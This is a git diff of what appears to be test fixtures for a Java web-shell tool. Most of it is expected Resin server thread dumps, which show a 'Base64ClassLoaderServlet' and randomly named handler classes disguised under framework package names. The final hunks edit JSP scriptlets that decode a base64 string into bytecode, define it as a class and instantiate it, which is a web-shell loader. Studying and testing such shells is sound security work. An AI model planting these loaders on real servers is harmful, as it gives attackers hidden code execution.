|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@57f8dde1
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"hmux-127.0.0.1:6800-5$1054028374" #20 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"resin-alarm" #14 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:599)
|
||||
|
||||
"http--8080-14$1389750751" #38 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-destroy" #29 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@17cf8303
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779)
|
||||
|
||||
"http--8080-3$912058259" #25 daemon [RUNNABLE]
|
||||
"http--8080-10$193468237" #30 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
@@ -153,15 +106,89 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-12$1710487331" #34 daemon [RUNNABLE]
|
||||
"http--8080-13$1054028374" #19 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@19a56869
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"resin-1" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@40c0d528
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-7$200707833" #32 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-2" #17 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@99c6689
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-9$1055206269" #33 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-port-8080" #28 daemon [TIMED_WAITING] on com.caucho.server.port.Port@30f5c5f7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.port.Port.run(Port.java:1526)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-2$1863701454" #24 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at org.junit.otVzv.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at org.apache.HkNKV.ErrorXokxzHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221)
|
||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||
at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:103)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
||||
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
|
||||
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
|
||||
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87)
|
||||
at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:187)
|
||||
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:265)
|
||||
@@ -171,69 +198,13 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@25a9371
|
||||
"resin-destroy" #29 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@d177a8b
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779)
|
||||
|
||||
"http--8080-10$1352722481" #36 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-port-8080" #28 daemon [TIMED_WAITING] on com.caucho.server.port.Port@33b742c1
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.port.Port.run(Port.java:1526)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-0" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@4e68ce16
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-4$1925258971" #24 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-2$708538022" #30 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"hmux-127.0.0.1:6800-7$385288296" #18 daemon [RUNNABLE]
|
||||
"hmux-127.0.0.1:6800-1$348708712" #23 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -246,28 +217,14 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-7" #22 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@5f6e15ef
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-2" #17 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@9f9d468
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-block-manager-writer" #26 daemon [WAITING] on java.util.ArrayList@512edc
|
||||
"resin-block-manager-writer" #26 daemon [WAITING] on java.util.ArrayList@2a105a0
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at com.caucho.db.store.BlockManager$BlockManagerWriter.run(BlockManager.java:354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-1" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@8c158be
|
||||
"resin-10" #25 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@448ee949
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
@@ -284,7 +241,26 @@ ThreadStacks:
|
||||
at com.caucho.server.resin.Resin.waitForExit(Resin.java:1270)
|
||||
at com.caucho.server.resin.Resin.main(Resin.java:1372)
|
||||
|
||||
"http--8080-13$1910701450" #35 daemon [RUNNABLE]
|
||||
"http--8080-12$1111547815" #37 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-alarm" #14 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:599)
|
||||
|
||||
"hmux-127.0.0.1:6800-6$1540304996" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -308,26 +284,7 @@ ThreadStacks:
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-port-6800" #27 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@27aff524
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.port.Port.run(Port.java:1526)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-thread-launcher" #12 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@60b22f2d
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:858)
|
||||
at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:881)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-thread-scheduler" #13 daemon [TIMED_WAITING] on java.util.ArrayList@699cda29
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:925)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-1$1209030638" #33 daemon [RUNNABLE]
|
||||
"http--8080-15$1220064471" #36 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -340,27 +297,68 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"hmux-127.0.0.1:6800-8$1168961042" #32 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-18" #37 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@6b9a6b0c
|
||||
"resin-0" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@2ecc777f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"hmux-127.0.0.1:6800-0$596442995" #21 daemon [RUNNABLE]
|
||||
"http--8080-11$357057343" #35 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-0$538141476" #34 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
|
||||
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
|
||||
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3088d52c
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"resin-thread-scheduler" #13 daemon [TIMED_WAITING] on java.util.ArrayList@3a8e4a98
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:925)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-port-6800" #27 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@9f92821
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.server.port.Port.run(Port.java:1526)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"resin-thread-launcher" #12 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@44c3c1ee
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:858)
|
||||
at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:881)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-14$1789074013" #38 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -373,7 +371,20 @@ ThreadStacks:
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-6$670917762" #19 daemon [RUNNABLE]
|
||||
"hmux-127.0.0.1:6800-8$344599349" #31 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
|
||||
at com.caucho.server.port.Port.accept(Port.java:1182)
|
||||
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
|
||||
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
|
||||
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http--8080-5$596442995" #20 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
@@ -392,6 +403,8 @@ ThreadStacks:
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
ServletNameTestFilter
|
||||
UrlMappingTestFilter
|
||||
com.caucho.db.store.BlockManager$BlockManagerWriter
|
||||
com.caucho.server.dispatch.FilterFilterChain
|
||||
com.caucho.server.dispatch.ServletFilterChain
|
||||
@@ -410,4 +423,4 @@ com.caucho.vfs.AbstractPrintWriter
|
||||
com.caucho.vfs.QServerSocketWrapper
|
||||
com.caucho.vfs.ReadStream
|
||||
com.caucho.vfs.SocketStream
|
||||
org.junit.otVzv.ErrorHandler
|
||||
org.apache.HkNKV.ErrorXokxzHandler
|
||||
|
||||
@@ -15,12 +15,12 @@
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = Class.forName("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
|
||||
}
|
||||
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
%>
|
||||
|
||||
@@ -17,13 +17,13 @@
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
</jsp:root>
|
||||
|
||||
@@ -3,14 +3,14 @@
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = Class.forName("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
Object decoder = base64Clz.getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{base64Str});
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", new Class[]{String.class}).invoke(null, new Object[]{base64Str});
|
||||
}
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
